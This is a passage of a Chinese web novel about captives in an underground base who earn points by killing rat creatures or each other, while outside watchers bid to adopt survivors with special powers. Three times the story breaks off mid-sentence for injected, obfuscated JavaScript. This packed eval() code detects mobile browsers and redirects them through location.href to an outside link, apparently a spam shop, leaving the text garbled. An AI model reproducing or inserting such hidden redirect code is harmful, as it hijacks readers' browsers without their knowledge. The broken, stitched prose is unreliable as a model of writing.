【九章:识别人虫进入体育场的顺序,按顺序分配学号。】 【九章:288号,618号,1679号,2213号,777号各获得20分,1515号0分。】 “……哪来的学分,鼠虫还活着,体育课也还没有结束,”季风的脸色开始变得更加难看,“怎么会有学分?” 疯子的惨叫声原本像刀一般剐过教室内的空间,现在一片死寂。而瘦高个似乎也顶不住了,声嘶力竭地冲他吼:“你有话能不能他妈直接说?!” 季风的指尖不受控地抖了起来,一股悲凉感浇下:“获得学分一共4条途径,只有第4条途径没有被公布。因为老师在公布之前就被南哥杀了。” “老师说过,第4条途径是为了避免人虫抱团合作而为人虫量身定制的。” “疯子死了,这里只有疯子死了!第4条途径只有一种可能,只要击杀人虫,每击杀一个,参与者即可获得100分。” 瘦高个瘫软在地:“我,我听不懂你在说什么,你能不能讲普通话!” 季风感觉喉咙涌上来一股甜腻的血腥味:“杀鼠虫10分,杀人100分,足足是杀鼠虫的10倍,10倍,你听懂了吗!你觉得杀人容易,还是杀鼠虫容易?” 眼前的一切都有了重影,瘦高个在自己剧烈喘气声中,看见仓管捂着耳朵蜷缩在地上,地板上全是新鲜的血,中介和季风背靠背站着,拎起狼牙棒警惕着鼠虫的进攻。 不远处,云霄南一个人冲向了鼠虫。 那足以在10秒钟之内击杀掉老师的体格,在盛怒中源源不断地爆发能量,肌肉的线条将校服顶起来,恐怖的、势不可挡的战斗力,犹如怪物中的怪物,朝鼠虫发起猛烈的攻击。 墙上的红字不断地刷新着。 【九章:结算学分110分。】 【九章:结算学分150分。】 【九章:结算学分200分。】 【九章:结算学分……。】 数字最终定格在300分,共有20只鼠虫死去,零星几只得以逃生,顺着边缘逃入了体育馆后面大开的防空洞中。 云霄南厌恶地甩了甩手上沾染到的鼠虫血,一回头,发现了四双眼睛惶恐地看着他。 “怎么了?”低沉的声音压迫感十足地响了起来。 季风张了张嘴,失控地问:“300分,加上我们四个人的命,南哥,从这个体育馆出去,你就可以得到700分了,是吗?” 灰色瞳孔的杀气逐渐褪去,然后慢慢地,浮上一层白雾:“是吗?” 清晰的下颌线一如既往高傲地抬着,云霄南低垂着眼眸,在众人恐惧到几乎忘记呼吸的时分,吐出了五个字:“还能这么算?” 季风:“?” 怎么说? 感觉智商清澈见底。 16. 第一基地16 这种清澈感一直持续到他们跟随云霄南进入防空洞。 下方亮堂的灯光再次证明了那四个女人还活着。这是季风第一次下矿区——这里应该是矿区,正中央的轨道铺向隧道深处,上方落下一排不知作什么用途的铁海带…… “季老板,开一下猴车!”云霄南突然喊住了他。 这是个很直接的命令句,云霄南越过了离他最近的瘦高个和另外两个人,甚至没有向他投来眼神,就这样直接地命令了他。 季风走过去,看到操作台上那些奇形怪状的文字:“……这不是中文,也不是英文。” “开好了吗?”云霄南显得很急躁。自从体育馆内失控之后,他的浮躁愈发不加掩饰,刚才一路上的步履也是匆匆忙忙,丝毫不搭理身后瘦高个几人复杂的眼神。 他很执着要去找那个叫黎歌的女孩。 仿佛有什么深仇大恨。 季风犹豫地抬起手:“南哥是怎么知道,我可能看得懂这些文字?” “季老板问题太多了,3D图记了吗?” “……什么3D图?” “显示屏上的地图,记住补给站的位置。” “南哥,这图……太复杂了,图纸上没有方位,又是立体的,翻两下就失去空间感了。抱歉,我实在是看不懂。” “你怎么会看不懂?”云霄南眉间拧起小山。 “您抬爱,我也不是万能的,当然有看不懂的东西。”季风憋不住了,追问道,“我第一次来,为什么南哥您给我一种好像您以前和我来过一次这里似的?这也是您在未来看到的吗?” 还有……这里作为地下基地,实在太明亮了,明亮到总觉得哪里不对。过去为了躲记者的采访,季风练就了过人的直觉,他环视了一圈,道:“这个废土世界也有监控吗?我总有一种被人监视的感觉。” 一记重拳打在操作台上,“嘭”一声巨响,将季风打量的眼神吓了回来! 云霄南收回那只手,烦躁地捋了一把脸:“记混了,以前是她记的地图!老子的外骨骼不会也要被她拿走了吧?” 季风:“……” 他的好奇心达到了巅峰了,在按下启动键之前终于忍不住开口问:“南哥,那个黎歌是个怎么样的人,为什么值得您这么关注?” 灰色的瞳孔斜斜地与他对视,依旧是锋利又霸气的表情,但季风隐约觉得自己没那么怕他了……只听到云霄南冷哼了一声:“一个卑鄙的女人,她会利用她所能利用的一切,为了达到自己的目的不择手段。” 季风回忆道:“您口中的黎歌,确定是那个怯生生的高中生吗?” 话音一落,他立刻从云霄南的眼神里读出一种……可怜的意味,云霄南一副恨铁不成钢的口吻:“你要被她骗几次才能清醒过来?你要知道,颜狗是没有好下场的。” 季风:“?” 这话是骂我,还是在骂他自己? “小孩?小孩?” 肩膀被人晃了晃,黎歌睁开了眼睛。 霍青山充满歉意的脸映入她的瞳孔里,肩上的手同时收了回去:“抱歉,你是不是累了?我们把物资分配了一下,想问问你的意见。这里好像挺安全,等分完东西,收拾出一块干净的地方,就可以休息下了。” 黎歌把手册合起来,双手揉了揉太阳穴。 五秒后,她开口:“我还好。你们想怎么分配?” 桌上的物资已经被分成了几个部分。 霍青山介绍道:“红酒太重了,我们带不走,也只好留在这里。这个补给站确实没有水和食物,我们只能寄希望于种植区了。” “医疗用的针剂很多都是没有见过的,而且长期暴露在有菌环境,不建议再使用。剩这些绷带,我们平均分配。” “其实最重要的就是这三把充能枪。有了它们就不用在怕那些鼠虫了。你,常乐和方京华每人一把。” “方京华说她之前有个客户是军事爱好者,为了签单子,她带着客户跑俄罗斯玩枪,跑了几趟,单子签下来了,枪法也练的不错。这很好,她上手应该是最快的。你和常乐都不像摸过枪的人,等等可以上模拟器练一练,我会教你们。” “剩下的鸡零狗碎,各自看看有没有喜欢的,挑走就是了。” “等下,”常乐出声问,“你把枪都分给了我们,那霍警官你自己呢?” 霍青山已经开始动手把枪往她那里推去,自然道:“鼠虫是活靶子,肯定不肯站在那里让我打。等它站稳了,不见得我站得稳。” 常乐脸色沉了下来:“你把我的枪拿走吧。医生说我活不过一个月了,我想好了,死在哪里不是死?以前我挺怕的,但经历了刚才那些事,感觉死不也就那么回事。” “……我不能拿。常乐,我们只是分物资而已,之前没有枪我也活得好好的,我们要考虑的是利益最大化的问题。” “行,你不听我的,我也不想听你的,我们让黎小歌做决定。” 黎歌:“……” 两双眼睛齐刷刷地看着她。等下,是怎么扯到她身上的? 不过……因为一直在忙碌,黎歌突然想起来,有个信息自己还没有跟她们分享:“有一件物资,太重了,所以我没有拿出来。” “嗯?”霍青山和常乐都愣了下,应该没想到她会这么回答。 黎歌从椅子上站起来,往训练房走:“霍青山,你来帮我拿一下。” “……我帮你拿?” “嗯。” “很重吗?” “很重。” “我试试……”霍青山蹦蹦跳跳跟在四肢健全的黎歌身后,进入了训练室,边跳边问,“是什么东西?” 几分钟以前,黎歌还不知道它的名字,不过托云霄南的福,她现在知道了。 她眯起眼睛笑了笑:“外骨骼。” 黑色的金属不知道在角落沉睡了多久,落了厚厚的灰尘,但四肢完好无损。节肢动物通常都附有这样一层坚硬的外壳,用以支撑脆弱的躯体。冷冰冰的金属贴上霍青山的四肢,紫色的地流肉眼可见地、同霍青山的心跳起了共振,嘭,嘭,嘭,它好像拥有了生命一般,与霍青山紧紧贴合在一起。 霍青山在瞬间站立起来。黑色的线缠绕着她残缺的腿,裹成了下半截的形状。 哒,哒。她的每一步都是金属轻吻地面的声音,沉沉地落下,却那样得轻便。 霍青山激动得热烈盈眶。她先是试探性地走了走,然后开始奔跑,她冲出了体能训练房,会议室的奔跑声伴随着畅快地呼吸声,把先前沉重的气氛一扫而空。 霍青山重新进入体能训练房,克制的兴奋仍旧能从眼神中读出来:“我感觉整个身体变得很轻,但出拳却更重了!” 当初仅靠一条腿就能单杀鼠虫。 现在的霍青山又更可靠了。 还好这个好东西没有落在云霄南的手里。 黎歌思考了一阵,问:“霍青山,你先前说你在队内的比武大赛都是第一名,你可以教我格斗技巧吗?” 霍青山正在研究这个外骨骼是怎么贴合上她的运动神经的,冷不丁被这一问:“当然。你想学哪种格斗?” “能把身高190cm、体重90kg、胸围110cm的男人打趴下的格斗技术。” “你前男友吗?” “……不是,我认为有具体的数值,更方便你教学。” “好,我可以教你。”霍青山点了点头。 气氛出现了短暂的停顿,在这貌似是简单的yesorno提问里,霍青山品出些信息来,她没有善罢甘休,相反,她认为有必要深究深究:“快高考了,不可以早恋。这个年纪的男孩子荷尔蒙是旺盛,但数来数去也就那一两款,一点也不新鲜,等你上了大学会发现帅哥多得是,要谈就去大学里谈。” ……是这么个劝法吗? 睫毛在水墨般的眼眸投下阴影,黎歌用余光检查完外骨骼的状态,确认完没有肉眼可见的故障,才顺带结束这让她有点无语的话题道:“真的只是一颗绊脚石而已,而且是小小一颗。” 外骨骼朝她伸出了拳头。 接着翘起大拇指:“不早恋就是好孩子。” 这个补给站成了临时的庇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636146|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护所,提供了暂时喘息的机会。 在学格斗的中途,黎歌又开了虫巢关注云霄南一行人的进展。他们似乎真的看不懂3D地图,把猴车开进了另一个岔路。 很复杂吗?只需要在地图中随机选一处为坐标点,然后在坐标上放置一只红色蜻蜓,它自然会扇动翅膀在地图巡逻,丈量上下左右的距离,指引方向。这很简单啊。 他们前进的方向通往3区,而自己所在是4区,不出意外,接下来几天都不会再跟他们相遇。 那个岔路因为没有涉足过,虫巢是灰色的,无法再窥探信息。 不过,现状总得来说对黎歌而言是有利的。少了个碍事鬼,自然就少分心。更多的精力应该花费在怎么拿学分上面。 结合3D图、设计稿还有写在手册里的日记,黎歌大致拼凑出了第一基地的地图来。第一基地分为东南西北四座小基地,每座小基地有3个区,1-3为东,4-6为南,7-9为西,10-12为北。她们现处于南基地,而云霄南他们前往的是东基地。这些基地的正中央,就是人虫教室。 从纵深来看,表层的种植区及补给站最为密集,应该是过去原住民的主要居住区,中下层为矿区,人虫较多活跃在这些位置。 鼠疫最初是在6区爆发的,也就是她们所在的南区、实验室所在的区域,实验室所在位置在6区最底层。太巧了,好像故事都在围绕这个坐标点在展开。如方京华分享,那是气温最为恶劣的区域,越往地心去,食物越匮乏,生存也越困难。 如果阿尔法鼠藏在那里,倒是个安眠的好去处。 空旷的穹顶之下,一毛不拔的沙土上卧着军绿色的货车。 一只戴着黑色皮套的手从货车驾驶位伸出来,夹着一根烟,潇洒地弹了弹。 后座酣睡的人被梦惊醒。烟味令他食指大动,没骨头地在位置上扭了扭,手臂在暗中穿过座椅间夹缝,整个人化成了一页纸,悄无声息地企图去够放在前面的烟盒。 “黑市才能买到这东西,一根3000币,你一个月的工资。”主驾驶位的人目不斜视,轻易看透了他的动作。 “……队长,我们还得等几天啊?”纸张悻悻地收回手后,从后座位飘进副驾,膨胀出人形来,一边问一边贪婪地就近吸昂贵的二手烟。 “7天,不过通常用不了7天。”他叼着烟,从右手边杂乱的储物层里翻找出通讯器,随便拨了拨,弹出了透明的对话框,“这次一共3个班,两个班不出45分钟全员阵亡,老师们已经提前下班了。剩最后一个班,负责的老师最后一条信息发送时间是2个小时以前。” 纸人潮红着脸,望眼欲穿盯着那点燃的半截烟,晕晕乎乎地说:“咱队里不是规定老师必须45分钟汇报一趟吗?” 主驾驶缓缓吐出一口烟:“嗯。” “稍等,我这就记下来,回去扣她工资。” “不用,她已经死了。” 纸人只觉得眼前的烟雾像泡泡一样炸了开来:“什么?!” 震惊之余纸人不忘补充一句:“那也得扣工资。” 合成烟草燃烧后的颗粒将狭小的驾驶室染成了雾状:“大概率她运气不太好,分到的学生里有祝福者,而且,还是进化速度很快的危险种。让另外两个老师过去看一眼。” “好的队长。”纸人飘回后座,将座位上的通讯器抠起来发出信息。 做完,纸人蓦地慌乱起来:“等等,那监护人那边会不会对这一期人虫失去信心了……” 他点开通讯器的一页。 坐标【车站】处跳动着稀松的几个绿点,除此以外,边缘还有绿点在源源不断地涌入。 【听说老师被杀了,这期学生里是不是有祝福者?】 【祝福者不是关键,关键是进化速度太快了,正常人虫要7天才能适应祝福基因,这才45分钟!这是祝福者死亡率最高的一节课,他们往往对自己有过高的期待,很容易导致判断失误,死亡率一般会比普通人虫还高才对。】 【前排收养迷失的祝福者,要最强的!】 【等等,我先报名的……】 17. 第一基地17 一个小时之内,绿点已肉眼可见的速度,从零星几个点增加到了数百个! 纸人抓起通讯器在座椅上敲了敲,困惑道:“队长,我的通讯器好像坏了,我从来没在【车站】见过这么多监护人……” 一只手从驾驶位伸出来,不容置喙地将通讯器夺了过去。 【车站】的留言仿佛电线杆上的小广告般源源不断。 【所以是谁杀了老师?】 【是怎么办到的,能知道是什么系的祝福者吗?我暂缺一个力量祝福者。】 【肯定是力量系祝福吧,多久没有规则系祝福者活着从基地出来了。基地遍地是鼠虫,最适合力量祝福者,如果是的话,这么强的力量系我也想领养一个。】 【等下,你们应该没有登记这一期的领养计划吧?我是最早登记的,应该让我先挑!】 【……】 一条留言闯了进来。 【各位监护人好,我是本期人虫训练班的队长——周远泽。】 【‘皮囊’周远泽?五年前凭借着过人的演技,在人虫中潜伏了5天,靠着杀队友攒够了1000分离开基地的那位?】 【就是他,没想到仅仅用了五年,他就当上训练班队长了!】 【你们是有多久没来【车站】了……周队长都担任了7期队长了,每期见他一次简直是精神享受,啧,‘皮囊’名不虚传,长得也是最带劲的!可惜了通讯器只能传送弱信号,每次就只能在车站远远看他一眼!】 【这位监护人,你究竟是来领养的,还是来追星的?】 【废话,当然是来看周队长的!人虫期期有,有几个宽肩长腿小蛮腰、肤白齿红桃花眼?】 【赞同一万遍!但还是浅了,几位,美貌是周队长最不值一提的优点……】 周远泽刷走这些早就习以为常的评论,单手掏出自己的通讯器,手指在绿屏幕上游走,一串数据传输过来,被投放进【车站】。 【各位监护人,我发现了两段奇怪的信号记录,觉得很有趣,在这边分享给各位。】 【老师曾经在三个小时后发过来一段警告信息,是的,我没有打错字,是三个小时后。第二次同样是三个小时后。而这两段记录都消失在了我的通讯器里,只留下时间记录。】 【“12:01撤回”】 【“12:01撤回”】 【而现在的时间是9:15——各位监护人,通讯信号只有在虫域内会紊乱,在安全区紊乱,我还是第一次见。我的判断是——】 【第一基地内,祝福者使用了时间相关的祝福能力,三次试图杀死老师,前两次尝试均发生在12点,但失败了,第三次,也就是这次,他只用了不到45分钟的时间就成功了——也算是总结了之前失败的经验。】 【车站】的绿字沉默了好一阵,用来消化这些文字。 【周队长是想说,这个人虫的祝福能力大概率和时间有关?】 【是的。兵团将繁杂的祝福能力分为了三大系,力量祝福、规则祝福和寄生祝福。在现有以及历史登记在册的祝福能力中,时间被划为规则祝福,规则祝福是死亡率最高的祝福,而时间能力又是稀有中的稀有。各位监护人,这么稀有的祝福者,你们怎么能错过呢?】 【……我要报名!我要报名本次的领养计划!】 【规则系贼会玩心眼子,我就想要个直给的力量系。但是时间祝福确实没有见过,要不我先报一个看看情况。】 【车站】后台的报名数据从个位数开始爬升。 报名+1 报名+1 墨镜背后一双桃花眼挑了下,周远泽还不满意,手指如同弹奏钢琴般,流畅地导出又一串数据。 【各位监护人,我还有一个新发现。这是兵团拦截到的九章信号,作为被遗弃在第一基地的计算机,九章虽然老了,但偶尔还是能够发挥让人惊喜的效用。】 【这是它先后分配的两组学号。】 【1617,002,615,566,1314(亡)】 【288,618,1679,777,1515(亡)】 不等他继续输入信息,【车站】瞬间炸开了。 【个位数的学号???确定不是九章出错了吗!】 【卧槽卧槽卧槽,有生之年我从来就没有见过个位数的学号!】 【……呵呵,各位监护人,想必大家已经明白我想表达的意思了。距离开课过去近3个小时还有9个人活着,这是训练班少数存活率极高的一期。我猜测,第一批学生里一定也有祝福者。假设我前面的猜想成立,时间祝福者已经失败了两次,那么,是谁让老师如此害怕,执着得要发出警告信息呢?】 【就是这个002号!】 【一个班出现两个祝福者,还都是规则祝福,天哪,不敢想象他们厮杀的场面有多美丽!】 【002VS时间祝福,当前胜率2:0…表面上是一边倒的局势,但时间祝福可能可以回溯事件,直到背熟对手的套路和招数然后找到下手的契机——从这个角度看,这次岂不是必胜?】 【我也这么觉得,虽然002学号十分厉害,但比不过作弊选手,我投时间祝福一票。】 【无论是哪一个赢,我都要赢的那个!】 后台报名人数再度激增! 报名+2。 报名+10。 报名+10…… 纸人那一双薄薄的眼珠快突出成立体的了:“队长,个位数的学号代表着什么吗?为什么监护人变得这么激动?” “我也不知道,这个答案可能没有人或人虫知道。” 周远泽把通讯器丢还给他,顺手抄过烟盒,拎在手里发现重量不对,才发现里面已经空了。他恋恋不舍地叹了一口气,将烟盒揉成一团,紧接着也丢进嘴里嚼了起来。 “上一个学号为个位数的人虫,正好也是祝福者,在他的带领下,除了他以外的十五个普通人虫全员存活。那是训练班开设以来唯一一次全员存活的案例。在那之后,兵团不得不增加了第四条规则,给自相残杀的人虫奖励100分,从而瓦解人虫之间的信任和合作。这个祝福者当时被称为最强祝福者,人虫们尊称他为——” 纸人抢过话:“月神!” 喉结上下滑动,周远泽吞咽完,不在意地笑了:“可惜,他已经死了。好了,我们的职责就是让监护人满意,现在开始,我们有热闹可以看了。首先,002号能不能保下那三个人虫呢?” “要知道,在九章的信号记录里,她们已经死过两次了。” ——— 这座补给站比黎歌想象中还要安全,在四个小时之内,她没有感受到周围有任何异常。 没有鼠虫,没有穷追不舍的同类。 就好像公布考试分数前一样安静…… 换上了新工服后,霍青山开始教她一些格斗的技巧,比如哪些是可以进攻的要害部位,哪些动作能借力,驱动身体给对方造成最大限度的打击。 教学的过程中,霍青山不止一次试探:“这些都是基于和人对战的经验总结,用来打鼠虫,我不确定能不能奏效。” 黎歌没有直接回复。 她不打算公布云霄南他们的存在,因为他们已经驶向另一个区,不会对她们造成威胁。 那为什么要学呢…… “技多不压身。”黎歌答,“而且感觉很酷。” 霍青山:“……那确实。” 一记漂亮的肘击朝霍青山的腹部袭来,神经信号经过外骨骼的传导,这身铁疙瘩已经化成了她身体的一部分,她只是稍稍侧身,掌风顺着肘击的劲握着,稳住下盘,藏在两人纠缠中的手臂猛然出击反打出了一记肘击。 黎歌有样学样从钳制中卸力出来,柔软地闪身,化去这一记攻击的劲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640657|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不教了,再教下去都被你学完了。”霍青山脸上的笑越来越少,开始有点不平静了,“你怎么学那么快?当初我练了三年,被教官打得跟猪头一样才能打成你这种水平!” 黎歌将两只手的手背放在衣服上反复摩擦,嘶,那外骨骼打起来真的好疼,不禁懊恼道:“你的发力方式很好学,但是这具身体太脆了,出拳没有你的硬。我要怎么样才能赢你呢?” 霍青山听完更不想教了!什么叫很好学! “小孩,你的胜负欲是不是过分旺盛了?我告诉你,没可能,输给一个新手,我这二十年的格斗不是白练了?” “要不然,你把外骨骼脱了跟我打?” “你是魔鬼吗???” 练完格斗,黎歌又进了射击训练房,跟着常乐、方京华一起练了会儿模拟器。几个人临时抱佛脚精进枪法,再四个小时过去,又饿又渴又累又困,这才陆陆续续停手休息。 没有卫生条件的地方,也不会有条件洗澡,把会议桌收拾收拾,一个大通铺就收拾出来了。黎歌躺下没多久就有了困意。 次日,四个人协商,由方京华和常乐留守补给站,黎歌和霍青山负责前往种植区寻觅食物。 出于谨慎,黎歌顺手带走了那箱臭罐头,打算找个地方埋起来,以防发散的气味吸引到鼠虫,暴露他们的庇护所。 隔着门缝黎歌又补充了一句:“在没有找到食物之前我们不会回来,最快也得4个小时以上,这是我能预估出来的合理时间,这中间如果有任何人敲门,你们都不要轻易应声。” “人?人有什么可怕的,又不是鼠虫?”常乐在门口露出一只眼睛,眨巴眨巴问。 “如果对方闯进来了,不要有任何犹豫,第一时间开枪。”黎歌跳过常乐的玩闹,严肃道。 “这个金属门锁上了,得要大象才能闯进来……好了,反正在你们回来之前我们不会给任何生物开门,放心了吧?” 门被合上,和上锁的声音同时传来的是钢板后的歌声:“不开不开就不开~妈妈没回来,谁来也不开~” 黎歌:“……?” 旁边响起了霍青山忍俊不禁的笑声:“你一个小孩,怎么这么能操心?” “……很操心吗?” “起码长了2条抬头纹。” 黎歌下意识捂住了额头,同步在脑子里尝试说服自己——第一基地内有错综复杂的隧道、毫无规律地分散着数百个补给站,无论是人或是鼠虫要找到这里都不容易。 基地内除了她们以外的人都去了3区,不可能杀个回马枪。 即使有回马枪,4区唯一的出入口就是她们乘坐的罐笼,只要罐笼没有动静,这里就是安全的。 一番自我开解过后,黎歌幡然醒悟——自己确实有点太操心了== 过去只需要照顾自己,从来没发现过自己还有爱操心别人这个属性。所以,我真长抬头纹了? 她一手捂着额头,一手托着罐头箱子,忧心忡忡往外走。 3区隧道内,布满灰尘的哨岗旁,云霄南举起了作为武器的狼牙棒,瘦高个和季风躲在了他身后,而狼牙棒直指的对象正是中介和仓管两个人。 “你们自己滚蛋,别逼我动手。” “南哥……是不是误会了……我没事……我就是脸有点痒……” 中介用指甲抓挠着脸,越痒越挠,越挠越痒,好像是骨头深处在犯痒。他挠啊挠,一直挠到骨头里,挠得指缝里全是血和脸皮,血水顺着剥落的脸皮流进脖子里,一团锈迹正往脖子下生长。 啊,脖子也好痒,好痒好痒…… 仓管拍了拍他的肩,中介回头,充血的眼球里面,仓管整张脸已经被锈迹覆盖住了,像生锈的老鼠干。中介不耐烦道:“我挠完……就帮你挠痒……好痒……” “滚!”云霄南脸色肉眼可见变得慌张,这两个人变异了——这是之前的回溯里从来没有出现过的。 18. 第一基地18 4区与上层的隧道一样,安静得像坟墓,区别就是少了鼠虫那密密麻麻潜伏的声音。这里可能很久很久没有人类造访了。 罐笼仍旧停在地面层,灰尘上还是她们留下的痕迹。 沿着右边的隧道一直往前走,金属地轨像神经网络一样牢牢扒在土壤上,串联着隧道与隧道。地轨反射着地流驱动的灯光,偶尔晃一晃眼,逼仄的空间内使得原本紧张的神经愈发紧绷。 约莫走了200米,一如3D图所标记的,隧道右手边出现了一道金属门——门是开的,湿气迎面扑来。 坍塌的岩石与碎土堆满了半个房间。 黎歌把罐头箱放下,绕着这间曾经的“种植区”走了半圈——倒塌的石墙和泥土恰好把种植区淹没了,不知道能不能找到食物。 黎歌蹲下来,抓了把土捏了捏,土是黑色的。在她有限的认知里,黑土一直都是肥沃的代名词,高含量的腐殖质为植物提供了大量成长必须的矿物质。但脚下这片土壤似乎不然——不见一丝一毫的绿色,而且还夹杂着一堆的白色碎屑。 人……骨?第一基地死了这么多人,但路上一具尸体也没有看到,看来是被啃得只剩沫了。 得把这些碎石移走才行,这工作量比得上愚公移山了。 她掏出工铲,预备先把这箱臭罐头埋了。这次出来的目的是在种植区找食物,所以她穿了工装,带了方便作业的工铲和小刀,也顺便带了治疗绷带以防万一。霍青山则带了充能枪。 出门之前常乐纠缠着希望黎歌把枪带上,黎歌下意识拒绝了。 “小孩,你很谨慎,为什么?”旁边突然传来了霍青山的疑问声,黎歌抬头,发现霍青山还在旁边观望着,视线全放在了她身上。 什么意思?霍青山紧跟着说:“你担心有人会闯进补给室,为罐笼和这箱臭罐头提心吊胆,事无巨细,给我一种感觉——你很害怕有掌控之外的意外发生。可是,你有一定的预见能力,在你看到的未来里我们既然安全逃生了,你不应该这么没有自信心。” 黎歌的铲子一下子磕碰到了石头——手给震麻了! 暴露了吗? 黎歌抠了抠工铲的把手,只是迟疑的时间,霍青山用十分笃定的语气宣读判词:“现在只有你和我两个人,我想,你可以对我说实话。当警察这么些年,我的直觉一直很准,只是先前有她们俩在场,所以我并不打算揭穿你。” 霍青山的声音里没有任何说谎的味道。黎歌很快也接受了,果然要在警察面前撒谎不是容易的事。 有些话不需要通过语言沟通,黎歌的沉默已经是一种答复。 霍青山没再追问了。外骨骼越过黎歌,霍青山走向那堆碎石,伸出机械手开始作业。 只是她的呼吸里开始飘溢出哀伤的油柑味。 人真是奇怪的动物,明明早知道是假的,却直到真相被出那刻才开始接受事实。霍青山竟也不例外。 黎歌心虚的间隙,看她忙碌的样子。她左手无名指仍旧保留有戒指的痕迹,想必刚被摘下不久。她也有牵挂在等她回家,而残忍的是,这条逃亡路的尽头不一定会是家。 沉闷的气氛里,两个人各自忙碌。埋完罐头,黎歌绕向碎石的另一边,两人一东一西,像两辆推土机一样快速地作业着。 “昨晚方京华哭了,你听到了吗?”霍青山的声音从碎石山的另一边传来。 黎歌的铲子再度磕在石头上:“……没有。” 她昨晚睡得这么沉?!昨晚的大通铺,常乐和霍青山睡在她的左手边,方京华正是挨着她的睡的,照理说有什么动静她该是第一个知道的。她是猪吗? “她想她女儿了,”霍青山的声音带上了忙碌的微喘,“她女儿是个早产儿,一出生只有巴掌大,生下来以后她抱都没有抱过就送进了保温箱。她的父母已经去世了,没有结婚,也没有朋友,所以孩子生下来没有人搭把手。” 她顿了下:“女人要在职场中打拼,终归要付出太多,何况她还是干工程的,要跟一群大男人抢那1-2个晋升名额。要更拼命、更刻薄、更市侩,为了能被大客户注意并拿到订单,她有很多歪点子,带客户出国玩枪、资助山区儿童立朋友圈人设……她问了我们很多很混乱的问题,比如功利的是她,为什么会报应到她女儿身上?总之……她情绪很糟糕。简单来说,崩溃的不是她,崩溃的是一个母亲。现在是保姆在医院照顾她女儿,但再过7天,试用期就到了,保姆在等她回去续约。也就是说,如果她回不去,她的女儿可能会因为没人照顾死在医院。” 眼前的碎石变成了惨白的墙,消毒水的味道清晰地浸入黎歌的回忆。 小孩从垃圾桶里掏出九成新的史迪仔,珍惜地抱在怀里。 穿着高跟鞋的女人焦急地停在她面前:“小朋友,主任在里面吗?你是他的小孩吗?” 小孩眨巴眨巴大眼睛,奶声奶气道:“你换一个医生看病吧,我在这里5年了,他是我见过缝伤口缝得最丑的医生。” 白色身影从护士站冲了出来,一边把正准备拆开的安瓿丢进口袋,眼疾手快将她抄进怀里:“祖宗,你怎么又对病人胡说八道!回头主任又该投诉护士长了……” 一铲子碎石将白墙盖进了土里,黎歌大概能猜到,方京华的情绪还是崩了。 霍青山的声音带上了一些恳求:“我和常乐都答应了她,我们当中任意一个人能出去,都会去看望她女儿。你如果也愿意帮忙就太好了。” 黎歌意识到了一件事:“所以,你们都不相信我们能一起出去是吗?” “小孩,生命是值得敬畏的,但生命也很脆弱。”油柑味愈加浓郁,霍青山平静地陈述,“如果我们有任何人离开,我希望你明白,这并不是你造成的。” “霍青山,你到底想跟我说什么?”黎歌停下了挖土的动作。 一字一句,都像是遗言一样。 “你自己能坦然面对她们死去吗?”黎歌问。 “……好吧,我办不到,毕竟我是警察。”霍青山笑了笑。 “你不是警察,警察是职业,警察局是为了社会稳定运行而设立的机关职能部门。这里没有社会,也没有法律,这里不存在警察。你只是霍青山,你我平等,也应该被允许自私自利。” 霍青山讶异道:“你这一路不叫我警官,光喊我名字,我以为你就是单纯没礼貌,没想到你的哲理这么深?” ……我叽里咕噜在说什么呢!黎歌莫名觉得耳尖在发烫,有一种被自己臊到了的感觉,胡乱道:“现想的,我纯没礼貌。” 气氛从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649098|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微妙的沉闷中解救出来。 黎歌刚要继续她的挖地大业,眼角瞥见一个匪夷所思的画面! 原本应该空空荡荡的位置,碎石山的背后,紧挨着房间墙壁处站着一个人! 身高约莫170出头,微胖,黑白相间的校服袖子断了一截,裸露在外的胳膊上有一道深可见骨的血痕。他低垂着头,从黎歌的角度看去,正好能看到他血肉模糊的下半截脸,和生锈……生锈的脖子! 什么时候来的?怎么来的?右手边的门是隧道进来唯一的入口,自己一直守着入口,黎歌确定以及肯定没有人再进来。 而另一边是岩层,是墙壁……怎么可能凭空掉出一个人来! 从发现他,仅用了0.5秒钟接受,黎歌吼出声:“霍青山,开枪!” 吼声让对面忙乱起来,黎歌能想象到霍青山匆忙丢下碎石,去捡起地上的充能枪的动作,但是枪响却迟迟没有响起来。 1秒后,人影消失了。 黎歌说话时已经掏出小刀冲到了那个位置,差一步扑了个空! 一切发生的太快了,从人影被发现到消失,总共不到2秒钟,快到像是幻觉般一闪而过。黎歌只能认出校服,无法辨认他的脸。 她转过身,忍不住对着霍青山扬声:“你刚才为什么不开枪!你的子弹比我的速度要快多了,只要能开枪,他肯定逃不了!” 霍青山举着枪的手已经垂了下去,神色复杂地看着黎歌:“可是,他是人啊……我怎么可以杀人呢?” 